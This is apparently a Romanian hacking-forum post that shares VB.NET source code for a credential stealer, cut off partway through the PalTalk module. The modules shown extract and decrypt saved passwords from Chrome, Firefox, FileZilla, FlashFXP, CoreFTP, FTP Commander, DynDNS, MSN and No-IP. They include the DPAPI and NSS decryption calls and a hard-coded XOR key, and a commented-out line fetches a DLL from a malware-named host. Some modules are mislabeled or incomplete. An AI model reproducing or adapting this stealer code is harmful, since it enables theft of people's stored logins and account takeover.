Jump to content
sandabot

[VB.NET] 14 Surse de stealer .

By sandabot, in Tutoriale in romana

Recommended Posts

sandabot Rookie

sandabot

Posted
Posted (edited)

1.Chrome

Imports System.Runtime.InteropServices
Imports System.IO
Imports System.Text
Imports stub.SQLiteWrapper

Public Class Chromer
    Public Shared cPass As String
    Public Shared Function GetChrome()
        'My.Computer.Network.DownloadFile("http://soviet-malware.eu/System.Data.SQLite.DLL", Application.StartupPath & "\System.Data.SQLite.DLL")
        Try
            Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Web Data"
            If File.Exists(datapath) Then
                Dim SQLconnect As New SqlClient.SqlConnection()
                Dim SQLcommand As SqlClient.SqlCommand
                SQLconnect.ConnectionString = "Data Source=" + datapath + ";"
                SQLconnect.Open()
                SQLcommand = SQLconnect.CreateCommand
                SQLcommand.CommandText = "SELECT * FROM logins"
                Dim SQLreader As SqlClient.SqlDataReader = SQLcommand.ExecuteReader()
                Dim host, user, pass As String
                While SQLreader.Read()
                    host = SQLreader("origin_url")
                    user = SQLreader("username_value")
                    pass = Decrypt(SQLreader("password_value"))
                    If (user <> "") And (pass <> "") Then
                        Dim pss As New ListViewItem
                        pss.Text = host
                        cPass = ("============Chrome==============" & vbNewLine & "Host: " & host & vbNewLine & "Username: " & user & vbNewLine & "Password: " & pass & vbNewLine & "=============================" _
                        & vbNewLine & " ")
                    End If
                End While
                SQLcommand.Dispose()
                SQLconnect.Close()
            End If
        Catch e As Exception
            MsgBox(e.ToString)
        End Try
    End Function
    <DllImport("Crypt32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
    Private Shared Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean
    End Function
    <Flags()> Enum CryptProtectPromptFlags
        CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1
        CRYPTPROTECT_PROMPT_ON_PROTECT = &H2
    End Enum
    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure CRYPTPROTECT_PROMPTSTRUCT
        Public cbSize As Integer
        Public dwPromptFlags As CryptProtectPromptFlags
        Public hwndApp As IntPtr
        Public szPrompt As String
    End Structure
    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure DATA_BLOB
        Public cbData As Integer
        Public pbData As IntPtr
    End Structure
    Shared Function Decrypt(ByVal Datas() As Byte) As String
        Dim inj, Ors As New DATA_BLOB
        Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned)
        inj.pbData = Ghandle.AddrOfPinnedObject()
        inj.cbData = Datas.Length
        Ghandle.Free()
        CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors)
        Dim Returned() As Byte = New Byte(Ors.cbData) {}
        Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData)
        Dim TheString As String = Encoding.Default.GetString(Returned)
        Return TheString.Substring(0, TheString.Length - 1)
    End Function
End Class

2.CoreFTP

Module CoreFTP
    Function CoreFTP() As String
        Dim sPath As String = Environ$("APPDATA") & "\CoreFTP\sites.idx"
        Dim sFile As String = ReadFile(sPath)
        Dim sHost As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Host")
        Dim sPort As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Port")
        Dim sUser As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\User")
        Dim sPwd As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\PW")
        Dim sEntry As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Name")

        If Not sUser = "" Then
            Try
                CoreFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)"
                Dim nl As String = vbNewLine
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============CoreFTP==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Entry: " & sEntry)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Host: " & sHost)
                Form1.ztext.AppendText(": " & sPort)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("User: " & sUser)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Password: " & sPwd)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            Catch ex As Exception
                Form1.ztext.AppendText("============CoreFTP==============")
                Form1.ztext.AppendText(vbNewLine)
                Form1.ztext.AppendText("CoreFTP Couldn't Be Recovered!")
                Form1.ztext.AppendText(vbNewLine)
                Form1.ztext.AppendText("=================================")
            End Try
        Else
        End If
    End Function
End Module

3.DynDNS

Module Dyndns
    Public Function GoogleDns() As String
        On Error Resume Next
        GoogleDns = Nothing

        Dim sAppData As String
        Dim sPath As String
        Dim sLine As String
        Dim sUser As String = Nothing
        Dim sPassword As String = Nothing
        Dim i As Integer
        Dim sChars As String = Nothing
        Dim lPtr As Integer

        sAppData = Environ("ALLUSERSPROFILE")

        If Right(sAppData, 1) <> "\" Then sAppData = sAppData & "\"

        sPath = sAppData & "DynDNS\Updater\config.dyndns"

        'UPGRADE_WARNING: Dir has a new behavior. Click for more: 'ms-help://MS.VSCC.v90/dv_commoner/local/redirect.htm?keyword="9B7D5ADD-D8FE-4819-A36C-6DEDAF088CC7"'
        If Dir(sPath) <> "" Then
            FileOpen(1, sPath, OpenMode.Binary)
            Do While Not EOF(1)
                sLine = vbNullString
                sLine = LineInput(1)
                If Left(sLine, 9) = "Username=" Then sUser = Mid(sLine, 10)
                If Left(sLine, 9) = "Password=" Then
                    sPassword = Mid(sLine, 10)
                    'We have what we want, now exit do
                    Exit Do
                End If
            Loop
            FileClose(1)

            For i = 1 To Len(sPassword) Step 2
                sChars = sChars & Chr(Val("&H" & Mid(sPassword, i, 2)))
            Next i

            For i = 1 To Len(sChars)
                Mid(sChars, i, 1) = Chr((Asc(Mid(sChars, i, 1))) Xor (Asc(Mid("t6KzXhCh", lPtr + 1, 1))))
                lPtr = ((lPtr + 1) Mod 8)
            Next i
            Dim nl As String = vbNewLine
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("============DYNDNS==============")
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("Username: " & sUser)
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("Password: " & sChars)
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("=============================")
            Form1.ztext.AppendText(nl)
            If sUser = "" Or sChars = "" Then
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============DYNDNS==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("DYNDNS Couldn't Be Recovered!")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            End If
        End If
    End Function
End Module

4.FireFox 1

Imports System
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Data
Imports FireFox.SQLiteWrapper
Imports System.Text
Module FFDecryptor

    Public Class SHITEMID
        Public Shared cb As Long
        Public Shared abID As Byte()
    End Class
    <StructLayout(LayoutKind.Sequential)> _
    Public Structure TSECItem
        Public SECItemType As Integer
        Public SECItemData As Integer
        Public SECItemLen As Integer
    End Structure

    <DllImport("kernel32.dll")> _
    Private Function LoadLibrary(ByVal dllFilePath As String) As IntPtr
    End Function
    Private NSS3 As IntPtr
    <DllImport("kernel32", CharSet:=CharSet.Ansi, ExactSpelling:=True, SetLastError:=True)> _
    Private Function GetProcAddress(ByVal hModule As IntPtr, ByVal procName As String) As IntPtr
    End Function
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
    Public Delegate Function DLLFunctionDelegate(ByVal configdir As String) As Long
    Public Function NSS_Init(ByVal configdir As String) As Long
        Dim MozillaPath As String = Environment.GetEnvironmentVariable("PROGRAMFILES") & "\Mozilla Firefox\"
        LoadLibrary(MozillaPath & "mozcrt19.dll")
        LoadLibrary(MozillaPath & "nspr4.dll")
        LoadLibrary(MozillaPath & "plc4.dll")
        LoadLibrary(MozillaPath & "plds4.dll")
        LoadLibrary(MozillaPath & "ssutil3.dll")
        LoadLibrary(MozillaPath & "sqlite3.dll")
        LoadLibrary(MozillaPath & "nssutil3.dll")
        LoadLibrary(MozillaPath & "softokn3.dll")
        NSS3 = LoadLibrary(MozillaPath & "nss3.dll")
        Dim pProc As IntPtr = GetProcAddress(NSS3, "NSS_Init")
        Dim dll As DLLFunctionDelegate = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate)), DLLFunctionDelegate)
        Return dll(configdir)
    End Function
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
    Public Delegate Function DLLFunctionDelegate2() As Long
    Public Function PK11_GetInternalKeySlot() As Long
        Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_GetInternalKeySlot")
        Dim dll As DLLFunctionDelegate2 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate2)), DLLFunctionDelegate2)
        Return dll()
    End Function
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
    Public Delegate Function DLLFunctionDelegate3(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long
    Public Function PK11_Authenticate(ByVal slot As Long, ByVal loadCerts As Boolean, ByVal wincx As Long) As Long
        Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_Authenticate")
        Dim dll As DLLFunctionDelegate3 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate3)), DLLFunctionDelegate3)
        Return dll(slot, loadCerts, wincx)
    End Function
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
    Public Delegate Function DLLFunctionDelegate4(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer
    Public Function NSSBase64_DecodeBuffer(ByVal arenaOpt As IntPtr, ByVal outItemOpt As IntPtr, ByVal inStr As StringBuilder, ByVal inLen As Integer) As Integer
        Dim pProc As IntPtr = GetProcAddress(NSS3, "NSSBase64_DecodeBuffer")
        Dim dll As DLLFunctionDelegate4 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate4)), DLLFunctionDelegate4)
        Return dll(arenaOpt, outItemOpt, inStr, inLen)
    End Function
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
    Public Delegate Function DLLFunctionDelegate5(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer
    Public Function PK11SDR_Decrypt(ByRef data As TSECItem, ByRef result As TSECItem, ByVal cx As Integer) As Integer
        Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11SDR_Decrypt")
        Dim dll As DLLFunctionDelegate5 = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate5)), DLLFunctionDelegate5)
        Return dll(data, result, cx)
    End Function
    Public signon As String
End Module

5.FireFox 2

Imports System
Imports System.Collections.Generic
Imports System.Text
Imports System.Runtime.InteropServices
Imports System.Data
Imports System.Collections

Namespace SQLiteWrapper
    Public Class SQLiteBase
        <DllImport("kernel32")> _
        Private Shared Function HeapAlloc(ByVal heap As IntPtr, ByVal flags As UInt32, ByVal bytes As UInt32) As IntPtr
        End Function

        <DllImport("kernel32")> _
        Private Shared Function GetProcessHeap() As IntPtr
        End Function

        <DllImport("kernel32")> _
        Private Shared Function lstrlen(ByVal str As IntPtr) As Integer
        End Function
        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_open(ByVal fileName As IntPtr, ByRef database As IntPtr) As Integer
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_close(ByVal database As IntPtr) As Integer
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_exec(ByVal database As IntPtr, ByVal query As IntPtr, ByVal callback As IntPtr, ByVal arguments As IntPtr, ByRef [error] As IntPtr) As Integer
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_errmsg(ByVal database As IntPtr) As IntPtr
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_prepare_v2(ByVal database As IntPtr, ByVal query As IntPtr, ByVal length As Integer, ByRef statement As IntPtr, ByRef tail As IntPtr) As Integer
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_step(ByVal statement As IntPtr) As Integer
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_column_count(ByVal statement As IntPtr) As Integer
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_column_name(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_column_type(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Integer
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_column_int(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Integer
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_column_double(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Double
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_column_text(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_column_blob(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_column_table_name(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
        End Function

        <DllImport("sqlite3")> _
        Private Shared Function sqlite3_finalize(ByVal handle As IntPtr) As Integer
        End Function

        ' SQLite constants
        Private Const SQL_OK As Integer = 0
        Private Const SQL_ROW As Integer = 100
        Private Const SQL_DONE As Integer = 101
        Public Enum SQLiteDataTypes
            INT = 1
            FLOAT
            TEXT
            BLOB
            NULL
        End Enum
        Private database As IntPtr
        Public Sub New()
            database = IntPtr.Zero
        End Sub
        Public Sub New(ByVal baseName As [String])
            OpenDatabase(baseName)
        End Sub
        Public Sub OpenDatabase(ByVal baseName As [String])
            If sqlite3_open(StringToPointer(baseName), database) <> SQL_OK Then
                database = IntPtr.Zero
                Throw New Exception("Error with opening database " & baseName & "!")
            End If
        End Sub
        Public Sub CloseDatabase()
            If database <> IntPtr.Zero Then
                sqlite3_close(database)
            End If
        End Sub
        Public Function GetTables() As ArrayList
            Dim query As [String] = "SELECT name FROM sqlite_master " & "WHERE type IN ('table','view') AND name NOT LIKE 'sqlite_%'" & "UNION ALL " & "SELECT name FROM sqlite_temp_master " & "WHERE type IN ('table','view') " & "ORDER BY 1"
            Dim table As DataTable = ExecuteQuery(query)
            Dim list As New ArrayList()
            For Each row As DataRow In table.Rows
                list.Add(row.ItemArray(0).ToString())
            Next
            Return list
        End Function
        Public Sub ExecuteNonQuery(ByVal query As [String])
            Dim [error] As IntPtr
            sqlite3_exec(database, StringToPointer(query), IntPtr.Zero, IntPtr.Zero, [error])
            If [error] <> IntPtr.Zero Then
                Throw New Exception(("Error with executing non-query: """ & query & """!" & vbLf) + PointerToString(sqlite3_errmsg([error])))
            End If
        End Sub
        Public Function ExecuteQuery(ByVal query As [String]) As DataTable
            Dim statement As IntPtr
            Dim excessData As IntPtr
            sqlite3_prepare_v2(database, StringToPointer(query), GetPointerLenght(StringToPointer(query)), statement, excessData)
            Dim table As New DataTable()
            Dim result As Integer = ReadFirstRow(statement, table)
            While result = SQL_ROW
                result = ReadNextRow(statement, table)
            End While
            sqlite3_finalize(statement)
            Return table
        End Function
        Private Function ReadFirstRow(ByVal statement As IntPtr, ByRef table As DataTable) As Integer
            table = New DataTable("resultTable")
            Dim resultType As Integer = sqlite3_step(statement)
            If resultType = SQL_ROW Then
                Dim columnCount As Integer = sqlite3_column_count(statement)
                Dim columnName As [String] = ""
                Dim columnType As Integer = 0
                Dim columnValues As Object() = New Object(columnCount - 1) {}
                For i As Integer = 0 To columnCount - 1
                    columnName = PointerToString(sqlite3_column_name(statement, i))
                    columnType = sqlite3_column_type(statement, i)
                    Select Case columnType
                        Case CInt(SQLiteDataTypes.INT)
                            If True Then
                                table.Columns.Add(columnName, Type.[GetType]("System.Int32"))
                                columnValues(i) = sqlite3_column_int(statement, i)
                                Exit Select
                            End If
                        Case CInt(SQLiteDataTypes.FLOAT)
                            If True Then
                                table.Columns.Add(columnName, Type.[GetType]("System.Single"))
                                columnValues(i) = sqlite3_column_double(statement, i)
                                Exit Select
                            End If
                        Case CInt(SQLiteDataTypes.TEXT)
                            If True Then
                                table.Columns.Add(columnName, Type.[GetType]("System.String"))
                                columnValues(i) = PointerToString(sqlite3_column_text(statement, i))
                                Exit Select
                            End If
                        Case CInt(SQLiteDataTypes.BLOB)
                            If True Then
                                table.Columns.Add(columnName, Type.[GetType]("System.String"))
                                columnValues(i) = PointerToString(sqlite3_column_blob(statement, i))
                                Exit Select
                            End If
                        Case Else
                            If True Then
                                table.Columns.Add(columnName, Type.[GetType]("System.String"))
                                columnValues(i) = ""
                                Exit Select
                            End If
                    End Select
                Next
                table.Rows.Add(columnValues)
            End If
            Return sqlite3_step(statement)
        End Function
        Private Function ReadNextRow(ByVal statement As IntPtr, ByRef table As DataTable) As Integer
            Dim columnCount As Integer = sqlite3_column_count(statement)

            Dim columnType As Integer = 0
            Dim columnValues As Object() = New Object(columnCount - 1) {}

            For i As Integer = 0 To columnCount - 1
                columnType = sqlite3_column_type(statement, i)

                Select Case columnType
                    Case CInt(SQLiteDataTypes.INT)
                        If True Then
                            columnValues(i) = sqlite3_column_int(statement, i)
                            Exit Select
                        End If
                    Case CInt(SQLiteDataTypes.FLOAT)
                        If True Then
                            columnValues(i) = sqlite3_column_double(statement, i)
                            Exit Select
                        End If
                    Case CInt(SQLiteDataTypes.TEXT)
                        If True Then
                            columnValues(i) = PointerToString(sqlite3_column_text(statement, i))
                            Exit Select
                        End If
                    Case CInt(SQLiteDataTypes.BLOB)
                        If True Then
                            columnValues(i) = PointerToString(sqlite3_column_blob(statement, i))
                            Exit Select
                        End If
                    Case Else
                        If True Then
                            columnValues(i) = ""
                            Exit Select
                        End If
                End Select
            Next
            table.Rows.Add(columnValues)
            Return sqlite3_step(statement)
        End Function
        Private Function StringToPointer(ByVal str As [String]) As IntPtr
            If str Is Nothing Then
                Return IntPtr.Zero
            Else
                Dim encoding__1 As Encoding = Encoding.UTF8
                Dim bytes As [Byte]() = encoding__1.GetBytes(str)
                Dim length As UInteger = bytes.Length + 1
                Dim pointer As IntPtr = HeapAlloc(GetProcessHeap(), 0, DirectCast(length, UInt32))
                Marshal.Copy(bytes, 0, pointer, bytes.Length)
                Marshal.WriteByte(pointer, bytes.Length, 0)
                Return pointer
            End If
        End Function
        Private Function PointerToString(ByVal ptr As IntPtr) As [String]
            If ptr = IntPtr.Zero Then
                Return Nothing
            End If

            Dim encoding__1 As Encoding = Encoding.UTF8

            Dim length As Integer = GetPointerLenght(ptr)
            Dim bytes As [Byte]() = New [Byte](length - 1) {}
            Marshal.Copy(ptr, bytes, 0, length)
            Return encoding__1.GetString(bytes, 0, length)
        End Function
        Private Function GetPointerLenght(ByVal ptr As IntPtr) As Integer
            If ptr = IntPtr.Zero Then
                Return 0
            End If
            Return lstrlen(ptr)
        End Function
    End Class
End Namespace

6. FileZilla

Module Filezilla
    Function ShoitZilla() As String
        On Error Resume Next
        Dim FilePath As String = Environ("APPDATA") & "\FileZilla\recentservers.xml"
        Dim FileBuffer As String = vbNull
        Dim NL As String = vbNewLine
        FileBuffer = My.Computer.FileSystem.OpenTextFileReader(FilePath).ReadToEnd()
        Dim str As String
        Dim Output As String = Nothing
        Dim TempData() As String
        TempData = FileBuffer.Split(vbCrLf)
        FileBuffer = Nothing
        For Each str In TempData
            If str.Contains("</Host>") Then
                str.Replace("<Host>", "").Replace("</Host>", "")
                Output = Output & "Host : " & str & NL
            End If
            If str.Contains("</User>") Then
                str.Replace("<User>", "").Replace("</User>", "")
                Output = Output & "Username : " & str & NL
            End If
            If str.Contains("</Pass>") Then
                str.Replace("<Pass>", "").Replace("</Pass>", "")
                Output = Output & "Password : " & str & NL & NL
            End If
        Next
        Output = "=============FileZilla================" & vbNewLine & Output.Replace("<User>", "").Replace("</User>", "").Replace("<Host>", "").Replace("</Host>", "").Replace("<Pass>", "").Replace("</Pass>", "") & vbNewLine
        ShoitZilla = Output
        Form1.ztext.AppendText(Output)
    End Function
End Module

7.FlashFXP

Module FlashFXP
    Function FlashFXP() As String
        Dim sPath As String = Replace(Environ$("APPDATA"), Environ$("Username"), "All Users") & "\FlashFXP\" & "3" & "\quick.dat"
        Dim sFile As String = ReadFile(sPath)
        Dim sHost As String = Cut(sFile, "IP=", vbNewLine)
        Dim sPort As String = Cut(sFile, "port=", vbNewLine)
        Dim sUser As String = Cut(sFile, "user=", vbNewLine)
        Dim sPwd As String = Cut(sFile, "pass=", vbNewLine)
        Dim sEntry As String = Cut(sFile, "created=", vbNewLine)

        If Not sUser = "" Then
            Try
                FlashFXP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)"
                Dim nl As String = vbNewLine
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============FlashFXP==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Entry: " & sEntry)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Host: " & sHost)
                Form1.ztext.AppendText(": " & sPort)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("User: " & sUser)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Password: " & sPwd)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            Catch ex As Exception
                Form1.ztext.AppendText("============FlashFXP==============")
                Form1.ztext.AppendText(vbNewLine)
                Form1.ztext.AppendText("FlashFXP Couldn't Be Recovered!")
                Form1.ztext.AppendText(vbNewLine)
                Form1.ztext.AppendText("=================================")
            End Try
        Else
        End If
    End Function
End Module

8.FtpCommander

Module FTPCommander
    Function FtpCommander() As String
        Dim sPath As String = Replace(RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander\UninstallString"), "uninstall.exe", vbNullString) & "Ftplist.txt"
        Dim sFile As String = ReadLine(sPath, -1)
        Dim sHost As String = Cut(sFile, ";Server=", ";Port=")
        Dim sPort As String = Cut(sFile, ";Port=", ";Password=")
        Dim sUser As String = Cut(sFile, ";User=", ";*********=")
        Dim sPwd As String = Cut(sFile, ";Password=", ";User=")
        Dim sEntry As String = Cut(sFile, "Name=", ";Server=")

        If Not sUser = "" Then
            Try
                FtpCommander = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd
                Dim nl As String = vbNewLine
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("============FTP Commander==============")
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Entry: " & sEntry)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Host: " & sHost)
                Form1.ztext.AppendText(": " & sPort)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("User: " & sUser)
                Form1.ztext.AppendText(nl)
                Form1.ztext.AppendText("Password: " & sPwd)
                Form1.ztext.AppendText("=============================")
                Form1.ztext.AppendText(nl)
            Catch ex As Exception
            End Try
        Else
        End If
    End Function
End Module

9.IMVU

Module Imvu
    Function ReadKey(ByRef hKey As String) As Object ' // Function for Read REG Values
        On Error GoTo Error_Renamed ' // If Error dont Display Error
        Dim X As Object ' //
        X = CreateObject("WScript.shell") ' // Create REG Object
        ReadKey = X.regread(hKey) ' // Read The Key
        Exit Function
Error_Renamed: ReadKey = vbNullString ' // If Error Readkey = ""
    End Function
    Public Function Hex2Ascii(ByVal Text As String) As String
        Dim Value As Object
        Dim num As Object
        Dim i As Object ' // Simple Function for Pass Hex to Ascii
        Value = Nothing
        For i = 1 To Len(Text) ' Len of Encripted Text
            num = Mid(Text, i, 2) ' // Go Chr by Chr
            Value = Value & Chr(Val("&h" & num)) ' // Pass from Hex
            i = i + 1 ' // +1
        Next i ' Next Chr

        Hex2Ascii = Value ' //
    End Function

10. MSN

Imports System.Collections.Generic
Imports System.Text
Imports System.Runtime.InteropServices
Imports System.IO
    Module MSN
    <DllImport("advapi32.dll", SetLastError:=True, CharSet:=CharSet.Unicode)> _
    Public Function CredEnumerateW(ByVal filter As String, ByVal flag As UInteger, ByVal count As UInteger, ByVal pCredentials As IntPtr) As Boolean
    End Function
    <DllImport("crypt32", CharSet:=CharSet.Auto, SetLastError:=True)> _
    Friend Function CryptUnprotectData(ByRef dataIn As DATA_BLOB, ByVal ppszDataDescr As Integer, ByVal optionalEntropy As Integer, ByVal pvReserved As Integer, ByVal pPromptStruct As Integer, ByVal dwFlags As Integer, _
     ByVal pDataOut As DATA_BLOB) As Boolean
    End Function
    Friend Structure CREDENTIAL
        Public Flags As Integer
        Public Type As Integer
        <MarshalAs(UnmanagedType.LPWStr)> _
        Public TargetName As String
        <MarshalAs(UnmanagedType.LPWStr)> _
        Public Comment As String
        Public LastWritten As Long
        Public CredentialBlobSize As Integer
        Public CredentialBlob As Integer
        Public Persist As Integer
        Public AttributeCount As Integer
        Public Attributes As IntPtr
        <MarshalAs(UnmanagedType.LPWStr)> _
        Public TargetAlias As String
        <MarshalAs(UnmanagedType.LPWStr)> _
        Public UserName As String
    End Structure
    Private Cred As CREDENTIAL
    Friend Structure DATA_BLOB
        Public cbData As Integer
        Public pbData As Integer
    End Structure
    Friend Structure UserDetails
        Public uName As String
        Public uPass As String
    End Structure
    Public count As UInteger
    Public pCredentials As IntPtr = IntPtr.Zero
    Public dataIn As DATA_BLOB
    Public dataOut As DATA_BLOB
    Public uDetail As UserDetails
    Public Function getPwd() As String()
        Password()
        Dim pass As String() = {uDetail.uName, uDetail.uPass}
        Return pass

    End Function
    Public Sub Password()
        Try
            Dim ptr As IntPtr = Marshal.ReadIntPtr(pCredentials, 0 * 4)
            Cred = CType(Marshal.PtrToStructure(ptr, Cred.[GetType]()), CREDENTIAL)
            dataIn.pbData = Cred.CredentialBlob
            dataIn.cbData = Cred.CredentialBlobSize
            CryptUnprotectData(dataIn, 0, 0, 0, 0, 1, _
             dataOut)
            dataOut.pbData = dataIn.pbData

            uDetail.uName = Cred.UserName
            uDetail.uPass = (Marshal.PtrToStringUni(New IntPtr(dataOut.pbData)))
            Dim nl As String = vbNewLine
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("============MSN==============")
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("Username: " & uDetail.uName)
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("Password: " & uDetail.uPass)
            Form1.ztext.AppendText(nl)
            Exit Sub
        Catch x As Exception
            Dim nl As String = vbNewLine
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("============MSN==============")
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("MSN Could not be recovered!")
            Form1.ztext.AppendText(nl)
            Exit Sub
        End Try
    End Sub
End Module

11. NO-IP

Module No_IP
    Public Function base64Decode(ByVal data As String) As String
        Try
            Dim encoder As New System.Text.UTF8Encoding()
            Dim utf8Decode As System.Text.Decoder = encoder.GetDecoder()
            Dim todecode_byte As Byte() = Convert.FromBase64String(Data)
            Dim charCount As Integer = utf8Decode.GetCharCount(todecode_byte, 0, todecode_byte.Length)
            Dim decoded_char As Char() = New Char(charCount - 1) {}
            utf8Decode.GetChars(todecode_byte, 0, todecode_byte.Length, decoded_char, 0)
            Dim result As String = New [String](decoded_char)
            Return result
        Catch e As Exception
        End Try
    End Function
    Function IpRecord() As String
        Try
            IpRecord = Nothing
            Dim Username As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Username", Nothing)
            Dim Password As String = My.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC", "Password", Nothing)
            Dim nl As String = vbNewLine
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("============IMVU==============")
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("Username: " & Username)
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("Password: " & base64Decode(Password))
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("=============================")
            Form1.ztext.AppendText(nl)
        Catch
            Dim nl As String = vbNewLine
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("============IMVU==============")
            Form1.ztext.AppendText(nl)
            Form1.ztext.AppendText("IMVU Not Installed!")
            Form1.ztext.AppendText(nl)
        End Try
    End Function
End Module

12.PalTalk

Module PalTalk
    Public Function GetHDSerial() As String
        Dim disk As New System.Management.ManagementObject( _
        "Win32_LogicalDisk.DeviceID=""C:""")
        Dim diskPropertyA As System.Management.PropertyData = _
          disk.Properties("VolumeSerialNumber")
        Return diskPropertyA.Value.ToString()
    End Function
    Public Function paltalkscene() As String
        Try
            Dim ser() As Char = GetHDSerial().ToCharArray
            Dim reg As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
            Dim out As String = ""
